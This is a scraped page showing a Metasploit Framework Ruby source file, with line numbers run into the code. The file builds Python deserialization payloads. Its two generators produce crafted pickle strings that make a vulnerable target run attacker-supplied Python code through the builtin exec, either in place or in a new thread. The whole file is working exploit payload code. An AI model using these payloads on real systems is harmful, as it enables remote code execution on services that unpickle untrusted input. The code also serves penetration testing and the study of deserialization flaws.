Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/lib/msf/util/python_deserialization.rb
Views: 11777
# -*- coding: binary -*-12# Python deserialization Utility3module Msf4module Util5# Python deserialization class6class PythonDeserialization7# That could be in the future a list of payloads used to exploit the Python deserialization vulnerability.8# Payload source files are available in external/source/python_deserialization9PAYLOADS = {10# this payload will work with Python 3.x targets to execute Python code in place11py3_exec: proc do |python_code|12escaped = python_code.gsub(/[\\\n\r]/) { |t| "\\u00#{t.ord.to_s(16).rjust(2, '0')}" }13%|c__builtin__\nexec\np0\n(V#{escaped}\np1\ntp2\nRp3\n.|14end,15# this payload will work with Python 3.x targets to execute Python code in a new thread16py3_exec_threaded: proc do |python_code|17escaped = python_code.gsub(/[\\\n\r]/) { |t| "\\u00#{t.ord.to_s(16).rjust(2, '0')}" }18%|c__builtin__\ngetattr\np0\n(cthreading\nThread\np1\nVstart\np2\ntp3\nRp4\n(g1\n(Nc__builtin__\nexec\np5\nN(V#{escaped}\np6\ntp7\ntp8\nRp9\ntp10\nRp11\n.|19end20}2122def self.payload(payload_name, command = nil)2324raise ArgumentError, "#{payload_name} payload not found in payloads" unless payload_names.include? payload_name.to_sym2526PAYLOADS[payload_name.to_sym].call(command)27end2829def self.payload_names30PAYLOADS.keys31end3233end34end35end363738